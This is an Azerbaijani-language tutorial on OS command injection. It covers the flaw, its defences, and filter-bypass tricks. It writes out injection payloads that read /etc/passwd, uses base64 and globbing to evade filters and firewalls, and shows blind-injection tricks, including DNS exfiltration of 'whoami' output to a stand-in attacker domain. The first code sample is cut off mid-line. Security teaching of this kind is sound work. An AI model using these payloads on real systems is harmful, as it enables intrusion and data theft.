Page cover image

💻OS Command Injection

OS Command Injection nədir?

OS Command Injection, daha doğrusu əməliyyat sistemi əmr injeksiyası - bir tətbiqin, istifadəçilərin tətbiqə səlahiyyətsiz əməliyyat sistemi əmrlərini daxil edərək icra etməsinə imkan verdiyi halda ortaya çıxan təhlükəsizlik boşluğudur. Düzgün input sanitization olmadığı halda, veb tətbiqin normalda işə salmaması lazım olan əmrlər icra edilir. Hakerlər bu əskiklikdən faydalanaraq zərərli əmrləri injeksiya edir və sistemə müdaxilə edə biləcək səlahiyyəti qazanır.

Web shell-lərdən fərqli olaraq, OS command injection hücumları, bir serverə zərərli faylların yüklənməsini tələb etmir. Bunun əvəzinə hədəf tətbiqdə əməliyyat sistemi əmrlərini yaratmaq üçün birbaşa "user input"a əsaslanan yerlər müəyyənləşdiririk. Daha sonra, nəzərdə tutulan input kontekstindən çıxmaq və əmrləri işə salmaq üçün həmin kodları, onlara xüsusi simvollar və sequence-lər injeksiya edərək dəyişdirməliyik.

Məsələn, aşağıda emal edilməsi üçün istifadəçilərin fayl adı göndərməsinə imkan verən bir kod yazılıb:

import os
def process_file(filename):
command = "ls -l " + filename
output = os.

Gördüyünüz kimi, tətbiqin process_file() funksiyası filename parametrini alır və input-dakı xüsusi simvolları və ya zərərli məzmunu yoxlamadan alınan parametri ls -l əməliyyat sistemi əmrinə ötürür. Əgər funksiya, istifadəçidən gələn dataya görə fayl adını müəyyən edirsə və bu data güvənli deyilsə, hakerlər bu input-u manipulyasiya edərək sistemə zərərli əmrlər daxil edə bilər. Məsələn, bir haker file.txt; id kimi zərərli fayl adını input-a daxil etsə, tətbiq aşağıdakı əmri yaradacaq:

ls -l file.txt; id

Bununla ilk olaraq file.txt parametri istifadə edilərək nəzərdə tutulan ls -l əmri işə düşəcək, daha sonra injeksiya edilən id əmri işə düşəcək.

OS command injection istifadəsi

Aşağıdakı cədvəl, mümkün OS command injection boşluqlarını test etməyin bir yolu kimi bu operatorların necə istifadə edildiyini izah edir:

Operator
Açıqlama
İstifadə nümunəsi

Nöqtəli vergül (;)

Tək sətirdə bir neçə əmri icra edir

filename=abc.txt; id

Tək və ya cüt şaquli xətt (| və ya ||)

Əmrləri zəncirləyir və əmr output-unu yönləndirir, OR şərtini təmin edir

filename=abd.txt | cat /etc/passwd

Tək və ya cüt ampersand (& və ya &&)

Əmrləri birləşdirir və ya arxaplanda işə salır, AND şərtini təmin edir

filename=abc.txt & ls -l

Əmr əvəzetmə (`, $())

Əmrləri əvəz edir

filename=cat /etc/passwd

Yönləndirmə operatorları (>, >>, <)

input/output yönləndirir

filename=abc; cat /etc/passwd > pass.txt

Tək və ya cüt dırnaq (", ')

Əmr arqumentlərini kapsullaşdırır

filename="abc.txt; id"

Faydalı əmrlər

OS command injection boşluğunu müəyyən etdikdən sonra, sistem haqqında məlumat əldə etmək üçün bəzi ilkin əmrləri icra etmək faydalı olacaq. Aşağıda Linux və Windows platformalarında faydalı olacaq bəzi əmrlər qeyd olunub:

Əmrin məqsədi
Linux
Windows

Hazırkı istifadəçinin adı

whoami

whoami

Əməliyyat sistemi

uname -a

ver

Şəbəkə konfiqurasiyası

ifconfig

ipconfig /all

Şəbəkə bağlantıları

netstat -an

netstat -an

İşləyən proseslər

ps -ef

tasklist

OS command injection hücumlarının qarşısını alma

Bu cür boşluqları önləməyin ən effektiv yolu, OS əmrlərini heç bir zaman application-layer kodundan çağırmamaqdır. Demək olar ki, bütün hallarda daha təhlükəsiz platforma API-ləri istifadə edərək tələb olunan funksionallığı həyata keçirməyin müxtəlif yolları mövcuddur.

Əgər istifadəçi tərəfindən daxil edilən input ilə OS əmrlərini çağırmağınız lazımdırsa, onda daha güclü input validation tətbiq etməlisiniz. Effektiv validation üçün nümunələr:

  • İcazə verilən dəyərlərin whitelist-inə görə doğrulama. Yəni, input-da ancaq əvvəlcədən icazə verilmiş və müəyyən edilmiş dəyərlərin olduğuna əmin olmaq.

  • Input-un rəqəm olduğunu doğrulama. Yəni, istifadəçi tərəfindən daxil edilmiş dəyərin rəqəmsal bir dəyər olduğuna əmin olmaq.

  • Input-un yalnız hərf və rəqəm simvollarını ehtiva etdiyini və başqa heç bir sintaksis və ya boşluq ehtiva etmədiyini doğrulama.

Heç vaxt "escaping shell metacharacters" ilə input-u sanitarizasiya etməyə çalışmayın. Yəni, əgər ;, &, |, <, >, *, ?, $, \, !, " kimi shell meta simvolları üçün escape (zərərsizləşdirmək) istifadə etsəniz belə input datasını güvənli hala gətirə bilməyəcəksiniz. Praktikada bu, səhvə meyillidir və təcrübəli haker tərəfindən bypass edilə bilər.

Parametrized Functions

Python-da subprocess modulu kimi güvənli funksiyalar istifadə edərək əmrləri ayrı bir arqument olaraq vermək, OS command injection-a qarşı qoruma təmin edir.

import subprocess

user_input = "somefile.txt"

# Güvənli bir şəkildə əmri işə sal
subprocess.run(["ls", user_input])

PHP nümunəsi:

$user_input = escapeshellarg("somefile.txt");

# Güvənli bir şəkildə əmri işə sal
exec("ls " . $user_input);

Input Validation

İstifadəçinin daxil etdiyi dəyərləri, OS əmrlərinə daxil etmədən doğrulamaq, command injection riskini azaldır. Python nümunəsi:

import subprocess
import re

user_input = "somefile.txt"

# Input-un yalnız müəyyən edilmiş formatda olduğuna əmin olun
if re.match(r'^[a-zA-Z0-9_\-\.]+$', user_input):
    subprocess.run(["ls", user_input])
else:
    print("Geçersiz girdi")

Fixed Commands

Mümkün olduğu halda, istifadəçi tərəfindən daxil edilən dataları birbaşa əmrlərdə istifadə etmək əvəzinə, sabit əmrləri istifadə edin və ya əmrləri sabit parametrlərlə məhdudlaşdırın. Python nümunəsi:

import subprocess

user_option = "list"

if user_option == "list":
    subprocess.run(["ls", "-l"])
else:
    print("Yararsız seçim")

Güvənli kitabxana və API istifadəsi

Bir çox proqramlaşdırma dilində və framework-də güvənli əmr işə salma funksiyaları mövcuddur. Bu kitabxana və API-ların istifadəsi, command injection riskini azalda bilər. Python nümunəsi:

import shlex
import subprocess

user_input = "somefile.txt"

# Input-u güvənli şəkildə parçalara ayır
safe_input = shlex.quote(user_input)

subprocess.run(f"ls {safe_input}", shell=True)

Minimum səlahiyyət prinsipi

Əmrləri işə salan tətbiqlərin yalnız lazımi səlahiyyətlərlə işə düşdüyünə əmin olun. Beləliklə, bir boşluq yaransa belə zərəri minimuma endirmiş olarsınız.

Command Injection məhdudiyyətlərini bypass etmə

Developerlər, OS əmr injeksiyalarını önləmək üçün sanitarizasiya kontrolları edir. Ancaq yenə də, bu kontrolları bypass (yan keçmək) etmək üçün istifadə edə biləcəyimiz bir neçə üsulu bilmək faydalıdır.

Obfuscation and Encoding

Gizləmə kodlaşdırma bəzi hallarda, "detection" prosesindən yayınmağa kömək edir. URL kodlaşdırma, base64 kodlaşdırma və simvol kodlaşdırma kimi texnikalar, payload-ı güvənlik kontrollarından, yoxlanışlardan və filtrlərdən gizlədə bilir. Misal üçün, ls -l kimi əmrin tamamını base64 ilə kodlaşdıra və input daxilində gizlədə bilərik. Məsələn:

| $(echo 'bHMgLWw=' | base64 -d)

Bununla, veb tətbiqin mövcud çalışan directory-sinin tam bir fayl sistemi siyahısını almalısınız.

Bu texnikanın hədəfi, aşkarlama üçün istifadə edilən pattern-matching və ya filtrləmə mexanizmlərindən yayınmaqdır. Müntəzəm ifadələrin istifadə edən təməl texnikalar, kodlaşdırılmış bHMgLWw= string-indəki bash əmrlərini müəyyənləşdirməkdə çətinlik çəkir.

Globbing

Globbing, fayl adlarını və ya fayldakı digər məzmunu tam və ya qismən uyuşdurmaq (matching) üçün wildcard pattern-lərini istifadə etmə prosesidir. Əgər bir string-də aşağıdakı simvollar varsa, wildcard pattern hesab olunur: ?, *, [, ] və ya !

Globbing qəribədir, çünki tam olaraq fayl və ya directory adını vermədən xüsusi fayl və ya directory-ləri müəyyən etməyimizə imkan verir, bu da müraciət məhdudiyyətlərini aşmağımıza potensial şərait yaradır. Məsələn, Linux-dakı /etc/passwd faylını misal gətirək. Bu fayla baxmaq üçün, tam yol və fayl adı ilə birgə ls əmrini icra edə bilərik:

$ ls -l /etc/passwd
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd

Ancaq ? wildcard simvolu ilə belə bir kodu da icra edə bilərik:

$ ls -l /etc/p?sswd
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd

Bash, bu nümunəni, /etc directory-sinin altındakı fayllarla uyuşdurmağa çalışacaq. Nəzərə alsaq ki, passwd, bu nümunədəkinə oxşar olan tək fayldır, bu səbəbdən "?" simvolu "a" simvoluna çevrilir. (Diqqət: kitab və məqalələrdə "expand" olaraq qeyd olunsa da, buradakı proses, wildcard-ın fayl adına çevrilməsi mənasını verir. Çünki Globbing, wildcard simvollarının fayl adlarına çevrilməsi prosesidir.)

Potensial olaraq məhdudlaşdırılmış directory-lərə müraciət etmək üçün eyni yanaşmanı istifadə edə bilərik:

$ ls -l /e??/passwd
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd

Başqa heç bir directory adı, 3 simvol uzunluğunda olmadığı və fayl sisteminin root bölməsində (/) "e" ilə başlamadığı üçün, nümunədəki "etc", directory ilə uyuşacaq.

Globbing daha da şiddətli ola bilər. Əgər son simvol istisna olmaqla bütün simvolları ? ilə əvəz etsək, directory-də oxşar fayl adı olmadığı üçün /etc/passwd ilə uyuşacaq:

$ ls -l /???/?????d
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd

Globbing-i fiqurlu mötərizə ilə birləşdirərək /etc üzrə bir neçə nümunə əlavə edə bilərik. Aşağıdakı kodda Bash, həm "p" ilə başlayıb "d" ilə bitən, həm də "g" ilə başlayıb "p" ilə bitən faylları axtaracaq. Bu, /etc/passwd/etc/group kimi fayllarla uyuşmalıdır:

$ ls /??c/{p????d,g???p}
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd

Globbing kimi özəllikləri bilmək faydalıdır, çünki bəzi tətbiqlər (və ya veb tətbiq firewall-ları) input-da müəyyən simvolların istifadə edilməsini məhdudlaşdıra bilər. Ancaq, bu məhdudiyyətlər "Globbing"i nəzərə almasa, filtrləri və validation-ları bypass etməyimizə imkan verir. Bu da, nəticədə wildcard simvolları ilə istədiyimiz fayllara və directory-lərə müraciət etməyimizə imkan verir.

Misal üçün, veb tətbiq firewall-ları adətən http://example .com?file=/etc/passwd kimi URL-lərə yönəlmiş sorğuları bloklayır. Tətbiqin fayl adını necə istifadə etməsindən asılı olaraq Globbing, firewall-ın detection məntiqini bypass etməyə kömək edə bilər.

Blind OS command injection

OS command injection, həm də shell injection olaraq bilinir. Bu boşluq, bir hakerin tətbiqi işə salan serverdə əməliyyat sistemi (OS) əmrlərini icra etməsinə imkan verir. Ancaq bəzi hallarda yazılmış əmrin output-u HTTP response daxilində qaytarılmır. Bu, Blind OS command injection sayılır. Bu cür boşluqlardan faydalanmaq hələ də mümkündür, ancaq fərqli texnikalar lazımdır.

Fərz edək ki, qarşımızda istifadəçilərin sayt haqqında əks-əlaqə verməsinə imkan verən bir sayt var. İstifadəçi e-poçt ünvanını və öz rəyini daxil edir. Server-side tətbiqi, bu əks-əlaqəni sayt administratoruna göndərmək üçün bir e-poçt yaradır. Bunu etmək üçün mail proqramını çağırır.

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

mail əmrinin output-u (əgər varsa) tətbiqin response-larında qaytarılmır. Bu səbəbdən echo payload-ı işə yaramayacaq. Bu halda, boşluğu aşkarlamaq və ondan faydalanmaq üçün başqa texnikalar istifadə edilməlidir.

Blind OS command injection aşkarlama

Vaxt gecikməsini işə salmaq üçün injeksiya edilən bir əmri istifadə etmək olar. Əgər, tətbiq verilən vaxt bitdikdən sonra cavab verirsə, deməli əmrin işə düşdüyünə əmin olmaq olar. Bunu etmək üçün ən yaxşı yol, ping əmrini istifadə etməkdir. Çünki göndəriləcək ICMP paketlərinin sayını müəyyən etmək mümkündür. Bu, əmrin işə düşməsi üçün keçən vaxta nəzarət etməyinizə imkan verir:

& ping -c 10 127.0.0.1 &

Bu əmr, tətbiqin 10 saniyə ərzində şəbəkə adapterinə ping atmağa kömək edir.

Blind OS command injection boşluğundan faydalanma

İnjeksiya edilmiş əmrin output-unu web root daxilində bir fayla yönləndirə və daha sonra brauzer ilə əldə edə bilərik. Fərz edək ki, statik resurslar (şəkillər və s.) təqdim edən bir veb tətbiq mövcuddur. Bu resursların ünvanı fayl sistemindəki /var/www/static directory-sindədir.

& whoami > /var/www/static/whoami.txt &

Bu əmrdə > simvolu ilə whoami əmrinin output-u qeyd olunan txt faylına göndərilir. Brauzerdə https://vulnerable-website.com/whoami.txt ünvanına gedərək faylı əldə edə, injeksiya edilmiş əmrin output-una baxa bilərik.

Blind OS command injection boşluğundan OAST ilə faydalanma

Sahib olduğumuz bir sistemlə, OAST texnikalarını istifadə edərək "out-of-band network interactionişə salacaq injeksiya edilmiş əmr istifadə edə bilərik. Məsələn:

& nslookup kgji2ohoyw.web-attacker.com &

Bu payload, göstərilən domen üzrə DNS axtarışını icra etmək üçün nslookup əmrini istifadə edir. Haker, əmrin uğurla injeksiya olduğuna əmin olmaq üçün, nslookup əmrinin nələri icra etdiyini müşahidə edir.

Out-of-band kanalı, injeksiya edilmiş əmrdən output-u çıxarmağın asan yolunu təqdim edir:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Bu, hakerə whoami əmrinin nəticəsini ehtiva edən domendə DNS lookup icra etməsinə imkan verir:

wwwuser.kgji2ohoyw.web-attacker.com

Out-of-Band Network Interaction nədir

Bantdankənar Şəbəkə Qarşılıqlı əlaqəsi - Normal data yolu xaricində başqa bir kanal istifadə edərək rabitəni qurmaqdır. Həmin rabitə kanalını istifadə edərək dataların göndərilməsi/alınması üçün nəzərdə tutulub. Adətən təhlükəsizlik testlərində istifadə olunur.

  • In-Band Interaction - Bantdaxili şəbəkə qarşılıqlı əlaqəsi, normal data yolu üzərindən qurulmuş rabitədir. Məsələn, bir veb tətbiqlə eyni HTTP bağlantısı üzərindən data göndərmə/alma.

  • Out-of-Band Interaction - Hakerin, hədəf sistemdən data almaq üçün fərqli bir şəbəkə və ya protokol istifadə etməsi deməkdir. Məsələn, bir hücumdan sonra hədəf sistemin DNS sorğularını göndərməsini təmin etmək.

Command injection ilə bir haker, hədəf sistemdə özünün kontrolunda olduğu serverə DNS sorğusunu göndərə bilər. Bu, hədəf sistemin varlığını yoxlamaq və ya ordan data çəkmək üçün istifadə edilə bilər.

ping attacker-controlled-server.com

Bu əmr ilə bir serverə ping göndərilir və out-of-band interaction sayəsində haker, hədəf sistemin varlığını müəyyən edə bilir.

OAST (Out-of-Band Application Security Testing)

Bu texnikalar, tətbiqlərin normal təhlükəsizlik testləri xaricində həyata keçirilən testlərdir. Təhlükəsizlik testlərini həyata keçirən mütəxəssislər, hədəf sistemin normal yollarla aşkarlana bilməyən boşluqlarını tapmaq üçün bu texnikaları istifadə edir. Bura adətən network interaction və data sızdırma kimi proseslər daxildir.

OS command injection istifadə yolları

Deyək ki, $user_input dəyişəninin dəyərini dırnaq içində ekrana çıxardan kodumuz var:

echo "İstifadəçi girişi: $user_input"

Məqsədimiz bu dəyişənin içinə bir əmr injeksiya etməkdir. Bunun üçün belə bir kod injeksiya edə bilərik:

"; ls -la; echo "

Yəni nəticə etibarilə:

echo "İstifadəçi girişi: "; ls -la; echo "

İnjeksiya etdiyimiz kodu incələyək:

  • İlk yazdığımız " (cüt dırnaq), orijinal koddakı cüt dırnağı bağlamaq üçündür. Çünki $user_input dəyişəni dırnaq arasında yazılıb. Bu dırnaqları bağlamalıyıq ki, öz kodlarımızı injeksiya edə bilək.

  • ; (nöqtəli vergül), bir neçə əmri eyni sətirdə yazmağımıza imkan verir. Bu, əvvəlki əmrin bitdiyini və yeni əmrin işə düşməsini təmin edir.

  • ls -la əmri, mövcud directory-dəki faylları və qovluqları detallı şəkildə sadalamaq üçündür.

  • echo isə boş bir sətri ekrana çıxardır.

  • Sondakı " (cüt dırnaq) isə injeksiyanın işə düşməsi üçündür.

Niyə sonda " (cüt dırnaq) istifadə etməliyik?

Sondakı cüt dırnaq, əmrin tamamlanmasını bildirir. Bu da, shell əmrinin tamamının düzgün şəkildə emal olunmasını və injeksiyanın uğurla həyata keçməsini təmin edir.

Last updated